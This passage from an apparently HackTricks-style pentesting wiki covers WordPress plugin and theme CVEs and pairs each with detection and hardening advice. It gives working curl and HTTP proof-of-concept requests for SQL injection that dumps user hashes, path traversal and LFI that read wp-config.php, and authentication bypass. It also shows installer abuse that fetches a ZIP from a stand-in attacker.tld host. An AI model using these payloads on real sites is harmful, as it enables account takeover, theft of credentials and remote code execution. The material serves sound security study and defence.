(unauthenticated) 654 655 ```http 656 GET /?switch_back=1 HTTP/1.1 657 Host: victim.example 658 Cookie: original_user_id=1 659 User-Agent: PoC 660 Connection: close 661 ``` 662 663 --- 664 665 ### WAF considerations for WordPress/plugin CVEs 666 667 Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.<sup>[[5]](#references)[[11]](#references)</sup> 668 669 Offensive notes 670 671 - Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes. 672 - Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation. 673 - Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. 674 675 Defensive notes 676 677 - Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly. 678 - Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters. 679 680 ## WordPress Protection 681 682 ### Regular Updates 683 684 Keep WordPress core, plugins, and themes up to date, with staging and backups appropriate to the deployment. Core updates can be configured in `wp-config.php`: 685 686 ```bash 687 define( 'WP_AUTO_UPDATE_CORE', true ); 688 ``` 689 690 Plugin and theme update filters belong in a plugin—preferably a must-use plugin—not directly in `wp-config.php`, because WordPress is not fully loaded there:<sup>[[28]](#references)</sup> 691 692 ```php 693 add_filter( 'auto_update_plugin', '__return_true' ); 694 add_filter( 'auto_update_theme', '__return_true' ); 695 ``` 696 697 Only install trusted, maintained WordPress plugins and themes, and remove components that are no longer needed.<sup>[[29]](#references)</sup> 698 699 ### Security Plugins 700 701 - [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) 702 - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) 703 - [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) 704 705 ### **Other Recommendations** 706 707 - Rename or remove a predictable legacy **admin** account after ensuring another administrator exists; changing the username alone is not a primary defense. 708 - Use **strong, unique passwords** and **2FA**. 709 - Periodically review users and capabilities. 710 - Rate-limit login attempts and monitor password guessing. 711 - Restrict `/wp-login.php` and sensitive `/wp-admin/` routes by network or an additional authentication layer where operationally appropriate. Do not rename a nonexistent `wp-admin.php` core file, and account for required public endpoints such as `wp-admin/admin-ajax.php`.<sup>[[29]](#references)</sup> 712 713 ### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) 714 715 The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following vulnerable code inside `modules/category/model.php::validateFormData()`:<sup>[[2]](#references)</sup> 716 717 ```php 718 $category = WPJOBPORTALrequest::getVar('parentid'); 719 $inquery = ' '; 720 if ($category) { 721 $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ 722 } 723 $query = "SELECT max(ordering)+1 AS maxordering FROM " 724 . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later 725 ``` 726 727 Issues introduced by this snippet: 728 729 1. **Unsanitised user input** – `parentid` comes straight from the HTTP request. 730 2. **String concatenation inside the WHERE clause** – no `is_numeric()` / `esc_sql()` / prepared statement. 731 3. **Unauthenticated reachability** – although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`. 732 733 #### Exploitation 734 735 1. Grab a fresh nonce: 736 ```bash 737 curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 738 ``` 739 2. Inject arbitrary SQL by abusing `parentid`: 740 ```bash 741 curl -X POST https://victim.com/wp-admin/admin-post.php \ 742 -d 'task=savecategory' \ 743 -d '_wpnonce=<nonce>' \ 744 -d 'parentid=0 OR 1=1-- -' \ 745 -d 'cat_title=pwn' -d 'id=' 746 ``` 747 Confirm the injection using the response behavior documented for the affected version (for example, a controlled boolean or time-based difference); this particular query path does not inherently print arbitrary selected columns. 748 749 ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) 750 751 Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal. The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`:<sup>[[2]](#references)</sup> 752 753 ```php 754 $file = $path . '/' . $file_name; 755 ... 756 echo $wp_filesystem->get_contents($file); // raw file output 757 ``` 758 759 `$file_name` is attacker-controlled and concatenated **without sanitisation**. Again, the only gate is a **CSRF nonce** that can be fetched from the resume page. 760 761 #### Exploitation 762 763 ```bash 764 curl -G https://victim.com/wp-admin/admin-post.php \ 765 --data-urlencode 'task=downloadcustomfile' \ 766 --data-urlencode '_wpnonce=<nonce>' \ 767 --data-urlencode 'upload_for=resume' \ 768 --data-urlencode 'entity_id=1' \ 769 --data-urlencode 'file_name=../../../wp-config.php' 770 ``` 771 The server responds with the contents of `wp-config.php`, leaking DB credentials and auth keys. 772 773 ## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) 774 775 Many themes/plugins ship "social login" helpers exposed via admin-ajax.php. If an unauthenticated AJAX action (wp_ajax_nopriv_...) trusts client-supplied identifiers when provider data is missing and then calls wp_set_auth_cookie(), this becomes a full authentication bypass.<sup>[[10]](#references)</sup> 776 777 Typical flawed pattern (simplified) 778 779 ```php 780 public function check_login() { 781 // ... request parsing ... 782 switch ($_POST['using']) { 783 case 'fb': /* set $user_email from verified Facebook token */ break; 784 case 'google': /* set $user_email from verified Google token */ break; 785 // other providers ... 786 default: /* unsupported/missing provider – execution continues */ break; 787 } 788 789 // FALLBACK: trust POSTed "id" as email if provider data missing 790 $user_email = !empty($user_email) 791 ? $user_email 792 : (!empty($_POST['id']) ? esc_attr($_POST['id']) : ''); 793 794 if (empty($user_email)) { 795 wp_send_json(['status' => 'not_user']); 796 } 797 798 $user = get_user_by('email', $user_email); 799 if ($user) { 800 wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user 801 wp_send_json(['status' => 'success', 'message' => 'Login successfully.']); 802 } 803 wp_send_json(['status' => 'not_user']); 804 } 805 // add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']); 806 ``` 807 808 Why it’s exploitable 809 810 - Unauthenticated reachability via admin-ajax.php (wp_ajax_nopriv_… action). 811 - No nonce/capability checks before state change. 812 - Missing OAuth/OpenID provider verification; default branch accepts attacker input. 813 - get_user_by('email', $_POST['id']) followed by wp_set_auth_cookie($uid) authenticates the requester as any existing email address. 814 815 Exploitation (unauthenticated) 816 817 - Prerequisites: attacker can reach /wp-admin/admin-ajax.php and knows/guesses a valid user email. 818 - Set provider to an unsupported value (or omit it) to hit the default branch and pass id=<victim_email>. 819 820 ```http 821 POST /wp-admin/admin-ajax.php HTTP/1.1 822 Host: victim.tld 823 Content-Type: application/x-www-form-urlencoded 824 825 action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com 826 ``` 827 828 ```bash 829 curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ 830 -d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com" 831 ``` 832 833 Expected success indicators 834 835 - HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}. 836 - Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated. 837 838 Finding the action name 839 840 - Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php). 841 - Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers. 842 843 Detection checklist 844 845 - Web logs showing unauthenticated `POST` requests to `/wp-admin/admin-ajax.php` with the social-login action and `id=<email>`. 846 - 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent. 847 848 Hardening 849 850 - Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID. 851 - Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary. 852 - Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id). 853 - Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed. 854 855 Patched behaviour (Jobmonster 4.8.0) 856 857 - Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']). 858 859 ## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) 860 861 Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).<sup>[[12]](#references)</sup> 862 863 - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection 864 - Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback 865 - Impact: full takeover by chaining the minted key to internal privileged actions 866 867 PoC – mint a connection key and use it 868 869 ```bash 870 # 1) Obtain key (unauthenticated). Exact payload varies per plugin 871 curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \ 872 -H 'Content-Type: application/json' \ 873 --data '{"username":"admin"}' 874 # → {"key":"<conn_key>", ...} 875 876 # 2) Call privileged plugin action using the minted key (namespace/route vary per plugin) 877 curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ 878 -H 'Content-Type: application/json' \ 879 -H 'X-Connection-Key: <conn_key>' \ 880 --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' 881 ``` 882 883 Why it’s exploitable 884 - Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback 885 - No capability enforcement; minted key is accepted as a universal bypass 886 887 Detection checklist 888 - Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ]) 889 - Any route that issues tokens/keys based on request-supplied identity (username/email) without tying to an authenticated user or capability 890 - Look for subsequent routes that accept the minted token/key without server-side capability checks 891 892 Hardening 893 - For any privileged REST route: require permission_callback that enforces current_user_can() for the required capability 894 - Do not mint long-lived keys from client-supplied identity; if needed, issue short-lived, user-bound tokens post-authentication and recheck capabilities on use 895 - Validate the caller's user context (`wp_set_current_user` is insufficient on its own) and reject requests where `!is_user_logged_in() || !current_user_can(<cap>)`. 896 897 --- 898 899 ## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3) 900 901 Nonces prevent CSRF, not authorization. If code treats a nonce pass as a green light and then skips capability checks for privileged operations (e.g., install/activate plugins), unauthenticated attackers can meet a weak nonce requirement and reach RCE by installing a backdoored or vulnerable plugin.<sup>[[13]](#references)</sup> 902 903 - Vulnerable path: plugin/install_and_activate 904 - Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” 905 - Impact: full compromise via arbitrary plugin install/activation 906 907 PoC (shape depends on plugin; illustrative only) 908 909 ```bash 910 curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \ 911 -H 'Content-Type: application/json' \ 912 --data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' 913 ``` 914 915 Detection checklist 916 - REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check 917 - Any code path that sets $skip_caps = true after nonce validation 918 919 Hardening 920 - Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state 921 - Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code 922 - Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows 923 924 ### Subscriber+ AJAX plugin installer → forced malicious activation (Motors Theme ≤ 5.6.81) 925 926 [Patchstack's analysis](https://patchstack.com/articles/critical-arbitrary-file-upload-vulnerability-in-motors-theme-affecting-20k-sites/) showed how the Motors theme ships an authenticated AJAX helper for installing its companion plugin:<sup>[[16]](#references)</sup> 927 928 ```php 929 add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base'); 930 931 function mvl_theme_install_base() { 932 check_ajax_referer('mvl_theme_install_base', 'nonce'); 933 934 $plugin_url = sanitize_text_field($_GET['plugin']); 935 $plugin_slug = 'motors-car-dealership-classified-listings'; 936 937 $upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug])); 938 $upgrader->install($plugin_url); 939 mvl_theme_activate_plugin($plugin_slug); 940 } 941 ``` 942 943 - Only `check_ajax_referer()` is called; there is no `current_user_can('install_plugins')` or `current_user_can('activate_plugins')`. 944 - The nonce is embedded in the Motors admin page, so any Subscriber that can open `/wp-admin/` can copy it from the HTML/JS. 945 - The handler trusts the attacker-controlled `plugin` parameter (read from `$_GET`) and passes it into `Plugin_Upgrader::install()`, so an arbitrary remote ZIP is downloaded into `wp-content/plugins/`. 946 - After installation the theme unconditionally calls `mvl_theme_activate_plugin()`, guaranteeing execution of the attacker plugin's PHP code. 947 948 #### Exploitation flow 949 950 1. Register/compromise a low-privileged account (Subscriber is enough) and grab the `mvl_theme_install_base` nonce from the Motors dashboard UI. 951 2. Build a plugin ZIP whose top-level directory matches the expected slug `motors-car-dealership-classified-listings/` and embed a backdoor or webshell in the `*.php` entry points. 952 3. Host the ZIP and trigger the installer by pointing the handler to your URL: 953 954 ```http 955 POST /wp-admin/admin-ajax.php HTTP/1.1 956 Host: victim.tld 957 Cookie: wordpress_logged_in_=... 958 Content-Type: application/x-www-form-urlencoded 959 960 action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip 961 ``` 962 963 Because the handler reads `$_GET['plugin']`, the same payload can also be sent via the query string. 964 965 #### Detection checklist 966 967 - Search themes/plugins for `Plugin_Upgrader`, `Theme_Upgrader`, or custom `install_plugin.php` helpers wired to `wp_ajax_*` hooks without capability checks. 968 - Inspect any handler that takes a `plugin`, `package`, `source`, or `url` parameter and feeds it into upgrader APIs, especially when the slug is hard-coded but the ZIP contents are not validated. 969 - Review admin pages that expose nonces for installer actions—if Subscribers can load the page, assume the nonce leaks. 970 971 #### Hardening 972 973 - Gate installer AJAX callbacks with `current_user_can('install_plugins')` and `current_user_can('activate_plugins')` after nonce verification; Motors 5.6.82 introduced this check to patch the bug. 974 - Refuse untrusted URLs: limit installers to bundled ZIPs or trusted repositories, or enforce signed download manifests. 975 - Treat nonces strictly as CSRF tokens; they do not provide authorization and should never replace capability checks. 976 977 --- 978 979 ## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1) 980 981 Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization.<sup>[[14]](#references)</sup> 982 983 - Parameter: s (search) 984 - Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization 985 - Impact: database exfiltration (users, hashes), lateral movement 986 987 PoC 988 989 ```bash 990 # Replace action with the affected depicter-* handler on the target 991 curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ 992 --data-urlencode 'action=depicter_search' \ 993 --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" 994 ``` 995 996 Detection checklist 997 - Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL 998 - Review custom queries passed to $wpdb->get_results()/query() concatenating s 999 1000 Hardening 1001 - Always use $wpdb->prepare() or wpdb placeholders; reject unexpected metacharacters server-side 1002 - Add a strict allowlist for s and normalize to expected charset/length 1003 1004 --- 1005 1006 ## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) 1007 1008 Accepting attacker-controlled paths in a template parameter without normalization/containment allows reading arbitrary local files, and sometimes code execution if includable PHP/log files are pulled into runtime.<sup>[[15]](#references)</sup> 1009 1010 - Parameter: __kubio-site-edit-iframe-classic-template 1011 - Flaw: no normalization/allowlisting; traversal permitted 1012 - Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP) 1013 1014 PoC – read wp-config.php 1015 1016 ```bash 1017 curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" 1018 ``` 1019 1020 Detection checklist 1021 - Any handler concatenating request paths into include()/require()/read sinks without realpath() containment 1022 - Look for traversal patterns (../) reaching outside the intended templates directory 1023 1024 Hardening 1025 - Enforce allowlisted templates; resolve with realpath() and require str_starts_with(realpath(file), realpath(allowed_base)) 1026 - Normalize input; reject traversal sequences and absolute paths; use sanitize_file_name() only for filenames (not full paths) 1027 1028 1029 ## References 1030 1031 - [1] [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) 1032 - [2] [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) 1033 - [3] [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) 1034 - [4] [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php) 1035 - [5] [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/) 1036 - [6] [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability) 1037 - [7] [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/) 1038 - [8] [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/) 1039 - [9] [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability) 1040 - [10] [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/) 1041 - [11] [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/) 1042 - [12] [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability) 1043 - [13] [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability) 1044 - [14] [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability) 1045 - [15] [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability) 1046 - [16] [Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites](https://patchstack.com/articles/critical-arbitrary-file-upload-vulnerability-in-motors-theme-affecting-20k-sites/) 1047 - [17] [nowak0x01.github.io - Papers](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) 1048 - [18] [nowotarski.info - Wordpress Nonce Authorization](https://nowotarski.info/wordpress-nonce-authorization) 1049 - [19] [XSS2Shell: WordPress Preauth XSS to RCE Chain](https://pwn.ai/blog/xss2shell) 1050 - [20] [WordPress 7.0.3 security release](https://wordpress.org/news/2026/08/wordpress-7-0-3-release/) 1051 - [21] [Editing `wp-config.php` – WordPress Advanced Administration Handbook](https://developer.wordpress.org/advanced-administration/wordpress/wp-config/) 1052 - [22] [WordPress XML-RPC API and server implementation](https://developer.wordpress.org/reference/classes/wp_xmlrpc_server/) 1053 - [23] [New XML Sitemaps Functionality in WordPress 5.5](https://make.wordpress.org/core/2020/07/22/new-xml-sitemaps-functionality-in-wordpress-5-5/) 1054 - [24] [WordPress User Roles and Capabilities](https://developer.wordpress.org/apis/security/user-roles-and-capabilities/) 1055 - [25] [`wp_xmlrpc_server::pingback_ping()` and safe remote URL validation](https://developer.wordpress.org/reference/classes/wp_xmlrpc_server/pingback_ping/) 1056 - [26] [QuickPress WordPress request checks](https://github.com/t0gu/quickpress/blob/master/core/requests.go) 1057 - [27] [WordPress nonces are not authorization](https://developer.wordpress.org/apis/security/nonces/) 1058 - [28] [Configuring WordPress automatic background updates](https://developer.wordpress.org/advanced-administration/upgrade/upgrading/) 1059 - [29] [Hardening WordPress](https://developer.wordpress.org/advanced-administration/security/hardening/) 1060 - [30] [Must Use Plugins – WordPress Advanced Administration Handbook](https://developer.wordpress.org/advanced-administration/plugins/mu-plugins/) 1061 - [31] [Thousands of Hacked WordPress Sites, One Operation: Unmasking StopAndProtect](https://research.checkpoint.com/2026/thousands-of-hacked-wordpress-sites-one-operation-unmasking-stopandprotect/)